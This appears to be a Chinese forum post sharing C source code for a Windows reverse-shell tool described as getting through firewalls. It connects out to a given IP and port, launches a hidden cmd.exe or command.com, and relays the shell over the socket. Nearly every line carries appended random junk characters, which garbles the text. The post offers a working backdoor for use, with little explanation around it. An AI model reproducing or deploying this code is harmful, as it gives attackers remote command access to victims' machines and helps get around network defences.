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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 U\W$^r,  
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/* ============================== f'MRC \  
Rebound port in Windows NT m;nH v  
By wind,2006/7  ^Y!$WP  
===============================*/ :#\jx  
#include }8ESp3~e_  
#include tKeozV[V  
?9 W2ax-4  
#pragma comment(lib,"wsock32.lib") 3DxgfP%n  
V6+:g=@U-l  
void OutputShell(); E:O/=cT  
SOCKET sClient; +K8T%GAr  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?)[=>Kp  
Q);}1'c  
void main(int argc,char **argv) xOr"3;^  
{ F&#I[]#  
WSADATA stWsaData; ,Y#f0  
int nRet;  $C,` ^n'  
SOCKADDR_IN stSaiClient,stSaiServer; :^qUr`)  
DZ $O%  
if(argc != 3) "r8N- h/P  
{ 1vAJ(O{-  
printf("Useage:\n\rRebound DestIP DestPort\n"); JaR!9GVN7  
return; WRRR"Q$  
} |Om9(xT  
bSQj=|h1  
WSAStartup(MAKEWORD(2,2),&stWsaData); D51s)?  
"Er8RUJA  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qVO,sKQ{  
 XF>!~D  
stSaiClient.sin_family = AF_INET; #)i+'L8  
stSaiClient.sin_port = htons(0); >I0 a$w  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); sk_xQo#Y 3  
IL uQf-  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 56u_viZ=8  
{ .]a`-Ofn  
printf("Bind Socket Failed!\n"); K@oyvJ$  
return; 5/T#>l<  
} ]3 Ibl^J  
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stSaiServer.sin_family = AF_INET; .eorwj]yb  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \C h01LR"  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !!H"B('m  
r[H8;&EL  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) e,MsF4'  
{ 2\QsF,@`YU  
printf("Connect Error!"); d]" 4aS  
return; CgrQ" N5  
} =I)43ah d  
OutputShell(); XclTyUGoK+  
} y!.jpF'uI  
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void OutputShell() T9H*]LxK  
{ IhYR4?e  
char szBuff[1024]; 9;?u%  
SECURITY_ATTRIBUTES stSecurityAttributes; Fu tS  
OSVERSIONINFO stOsversionInfo; }$4z$&  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $R1I(sJ  
STARTUPINFO stStartupInfo; uMS+,dXy  
char *szShell; wz*iwd-  
PROCESS_INFORMATION stProcessInformation; $t(v `,  
unsigned long lBytesRead; 6 AGZ)gX  
a[(OeVQ5  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .t5.(0Xk[A  
v#d\YV{I  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); t'l4$}(  
stSecurityAttributes.lpSecurityDescriptor = 0; r(46jV.sD:  
stSecurityAttributes.bInheritHandle = TRUE; K+F"VW*?  
]A'{DKR  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Y(.e e%;,  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); nQjpJ /=  
j)?M  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); VP~2F E  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iM)K:L7d  
stStartupInfo.wShowWindow = SW_HIDE; Nc7"`!;-   
stStartupInfo.hStdInput = hReadPipe; zVq!M-e  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ` 3qf}=Z`  
jtP*C_Scv/  
GetVersionEx(&stOsversionInfo); ERpAV-Zf  
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switch(stOsversionInfo.dwPlatformId) U]=yCEb8p  
{ %N*[{j= ^  
case 1: Q&eyqk   
szShell = "command.com"; tQ|c.`)W  
break; rPaJ<>Kz  
default: s5nw<V9$]  
szShell = "cmd.exe"; N}?|ik  
break; nF<K84  
} wUv?;Y$C  
QnWE;zN[7A  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); iBSM \ n  
g"m' C6;  
send(sClient,szMsg,77,0); yV(#z2|  
while(1) 9Da{|FyrD  
{ 8tx*z"2S  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); _O`p(6  
if(lBytesRead) mr\,"S-`  
{ %Jt35j@Ee  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); WHdMP  
send(sClient,szBuff,lBytesRead,0); fEHFlgN3Ap  
} xE:jcA d$}  
else  J=` 8  
{ L 4j#0I]lq  
lBytesRead=recv(sClient,szBuff,1024,0); 3W?7hh  
if(lBytesRead<=0) break; FS1\`#Bm)  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 72dRp!J U  
} r mX*s} B  
} o[ZjXLJzV  
Q,KNZxT,q  
return; jJ#D`iog5  
}
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